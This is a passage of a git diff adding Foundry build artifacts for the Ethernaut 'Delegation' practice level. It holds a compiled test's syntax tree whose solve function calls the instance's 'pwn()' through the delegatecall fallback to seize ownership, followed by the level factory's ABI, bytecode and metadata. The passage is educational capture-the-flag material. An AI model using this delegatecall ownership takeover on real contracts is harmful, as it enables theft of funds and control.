enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1530:8:123","parameters":{"id":59455,"nodeType":"ParameterList","parameters":[],"src":"1538:2:123"},"returnParameters":{"id":59456,"nodeType":"ParameterList","parameters":[],"src":"1548:0:123"},"scope":59514,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59513,"nodeType":"FunctionDefinition","src":"1708:272:123","nodes":[],"body":{"id":59512,"nodeType":"Block","src":"1736:244:123","nodes":[],"statements":[{"expression":{"arguments":[{"id":59481,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59354,"src":"1760:6:123","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59478,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1746:2:123","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1749:10:123","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1746:13:123","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1746:21:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59483,"nodeType":"ExpressionStatement","src":"1746:21:123"},{"assignments":[59485,null],"declarations":[{"constant":false,"id":59485,"mutability":"mutable","name":"success","nameLocation":"1784:7:123","nodeType":"VariableDeclaration","scope":59512,"src":"1779:12:123","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":59484,"name":"bool","nodeType":"ElementaryTypeName","src":"1779:4:123","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":59496,"initialValue":{"arguments":[{"arguments":[{"hexValue":"70776e2829","id":59493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1843:7:123","typeDescriptions":{"typeIdentifier":"t_stringliteral_dd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab","typeString":"literal_string \"pwn()\""},"value":"pwn()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab","typeString":"literal_string \"pwn()\""}],"expression":{"id":59491,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1819:3:123","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":59492,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1823:19:123","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1819:23:123","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":59494,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1819:32:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":59488,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59350,"src":"1804:8:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}],"id":59487,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1796:7:123","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59486,"name":"address","nodeType":"ElementaryTypeName","src":"1796:7:123","typeDescriptions":{}}},"id":59489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1796:17:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":59490,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1814:4:123","memberName":"call","nodeType":"MemberAccess","src":"1796:22:123","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":59495,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1796:56:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1778:74:123"},{"expression":{"arguments":[{"id":59498,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59485,"src":"1870:7:123","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"63616c6c206e6f74207375636365737366756c","id":59499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1879:21:123","typeDescriptions":{"typeIdentifier":"t_stringliteral_e1b032eb08da76b9177f1d921ea8bd3a46e656edb2885f33ab12a1aa576c6d6e","typeString":"literal_string \"call not successful\""},"value":"call not successful"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e1b032eb08da76b9177f1d921ea8bd3a46e656edb2885f33ab12a1aa576c6d6e","typeString":"literal_string \"call not successful\""}],"id":59497,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1862:7:123","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":59500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1862:39:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59501,"nodeType":"ExpressionStatement","src":"1862:39:123"},{"expression":{"arguments":[{"arguments":[{"id":59504,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59347,"src":"1943:9:123","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59507,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59350,"src":"1962:8:123","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}],"id":59506,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1954:7:123","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59505,"name":"address","nodeType":"ElementaryTypeName","src":"1954:7:123","typeDescriptions":{}}},"id":59508,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1954:17:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59503,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1923:19:123","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59509,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1923:49:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59502,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1912:10:123","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:61:123","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59511,"nodeType":"ExpressionStatement","src":"1912:61:123"}]},"documentation":{"id":59475,"nodeType":"StructuredDocumentation","src":"1659:44:123","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1717:9:123","parameters":{"id":59476,"nodeType":"ParameterList","parameters":[],"src":"1726:2:123"},"returnParameters":{"id":59477,"nodeType":"ParameterList","parameters":[],"src":"1736:0:123"},"scope":59514,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":59341,"name":"Test","nameLocations":["375:4:123"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"375:4:123"},"id":59342,"nodeType":"InheritanceSpecifier","src":"375:4:123"},{"baseName":{"id":59343,"name":"Utils","nameLocations":["381:5:123"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"381:5:123"},"id":59344,"nodeType":"InheritanceSpecifier","src":"381:5:123"}],"canonicalName":"TestDelegation","contractDependencies":[49101,50375,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[59514,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestDelegation","nameLocation":"357:14:123","scope":59515,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":123} \ No newline at end of file diff --git a/contracts/out/DelegationFactory.sol/DelegationFactory.json b/contracts/out/DelegationFactory.sol/DelegationFactory.json new file mode 100644 index 000000000..d1c027d45 --- /dev/null +++ b/contracts/out/DelegationFactory.sol/DelegationFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061001933610077565b5f80604051610027906100c6565b6001600160a01b039091168152602001604051809103905ff080158015610050573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b0392909216919091179055506100d3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61016b8061069783390190565b6105b7806100e05f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610366565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610388565b61016f565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610366565b6101f0565b610114610285565b61011d5f6102de565b565b6001546040515f9182916001600160a01b039091169061013e90610345565b6001600160a01b039091168152602001604051809103905ff080158015610167573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101de91906103bf565b6001600160a01b031614949350505050565b6101f8610285565b6001600160a01b0381166102795760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610282816102de565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610270565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101a7806103db83390190565b6001600160a01b0381168114610282575f80fd5b5f60208284031215610376575f80fd5b813561038181610352565b9392505050565b5f8060408385031215610399575f80fd5b82356103a481610352565b915060208301356103b481610352565b809150509250929050565b5f602082840312156103cf575f80fd5b81516103818161035256fe608060405234801561000f575f80fd5b506040516101a73803806101a783398101604081905261002e9161005b565b600180546001600160a01b039092166001600160a01b03199283161790555f805490911633179055610088565b5f6020828403121561006b575f80fd5b81516001600160a01b0381168114610081575f80fd5b9392505050565b610112806100955f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033a264697066735822122040d229bd9214a278d33c9e0e717de8f022e585df655ddd540d8bb80edc6e3eb364736f6c63430008180033608060405234801561000f575f80fd5b5060405161016b38038061016b83398101604081905261002e91610052565b5f80546001600160a01b0319166001600160a01b039290921691909117905561007f565b5f60208284031215610062575f80fd5b81516001600160a01b0381168114610078575f80fd5b9392505050565b60e08061008b5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c80638da5cb5b146034578063dd365b8b14607b575b5f80fd5b5f5460529073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60a85f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055565b00fea264697066735822122076e1b3cea2eecc6a3605124996c9faa9215602b412a172d566c9aceae72884ec64736f6c63430008180033","sourceMap":"113:618:64:-:0;;;185:126;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;209:20:64;253:1;232:24;;;;;:::i;:::-;-1:-1:-1;;;;;178:32:155;;;160:51;;148:2;133:18;232:24:64;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;266:15:64;:38;;-1:-1:-1;;;;;;266:38:64;-1:-1:-1;;;;;266:38:64;;;;;;;;;;-1:-1:-1;113:618:64;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;113:618:64:-;;;;;;;;:::o;14:203:155:-;113:618:64;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610366565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610388565b61016f565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610366565b6101f0565b610114610285565b61011d5f6102de565b565b6001546040515f9182916001600160a01b039091169061013e90610345565b6001600160a01b039091168152602001604051809103905ff080158015610167573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101de91906103bf565b6001600160a01b031614949350505050565b6101f8610285565b6001600160a01b0381166102795760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610282816102de565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610270565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101a7806103db83390190565b6001600160a01b0381168114610282575f80fd5b5f60208284031215610376575f80fd5b813561038181610352565b9392505050565b5f8060408385031215610399575f80fd5b82356103a481610352565b915060208301356103b481610352565b809150509250929050565b5f602082840312156103cf575f80fd5b81516103818161035256fe608060405234801561000f575f80fd5b506040516101a73803806101a783398101604081905261002e9161005b565b600180546001600160a01b039092166001600160a01b03199283161790555f805490911633179055610088565b5f6020828403121561006b575f80fd5b81516001600160a01b0381168114610081575f80fd5b9392505050565b610112806100955f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80638da5cb5b146086575b6001546040515f9173ffffffffffffffffffffffffffffffffffffffff16906050908390369060cd565b5f60405180830381855af49150503d805f81146084576040519150601f19603f3d011682016040523d82523d5f602084013e005b005b5f5460a49073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b818382375f910190815291905056fea2646970667358221220166c0f46bba8035035dccaec5834c60f688880ba320f92164f691d1412c59e4c64736f6c63430008180033a264697066735822122040d229bd9214a278d33c9e0e717de8f022e585df655ddd540d8bb80edc6e3eb364736f6c63430008180033","sourceMap":"113:618:64:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;317:200:64;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;317:200:64;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;523:206:64;;;;;;;;;;-1:-1:-1;523:206:64;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;523:206:64;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;317:200:64:-;462:15;;447:31;;391:7;;;;-1:-1:-1;;;;;462:15:64;;;;447:31;;;:::i;:::-;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;447:31:64;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;427:51:64;317:200;-1:-1:-1;;;317:200:64:o;523:206::-;623:4;639:17;670:9;639:41;;715:7;-1:-1:-1;;;;;697:25:64;:6;-1:-1:-1;;;;;697:12:64;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;697:25:64;;;523:206;-1:-1:-1;;;;523:206:64:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DelegationFactory.sol\":\"DelegationFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Delegation.sol\":{\"keccak256\":\"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3\",\"dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL\"]},\"src/levels/DelegationFactory.sol\":{\"keccak256\":\"0x9dbef0c87d0701a1b4d3e13a3e478af1cf1a4e5418507c0c8ffde2dc95c17c5a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://64fcec6468631b8c5d49f6852cd8c3ed845005372fefa0d3fcdb545e5201659f\",\"dweb:/ipfs/QmNuuQude9reyAdTqgG4irnD1Efqdf5VAmZf2cQWLvRE2n\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current 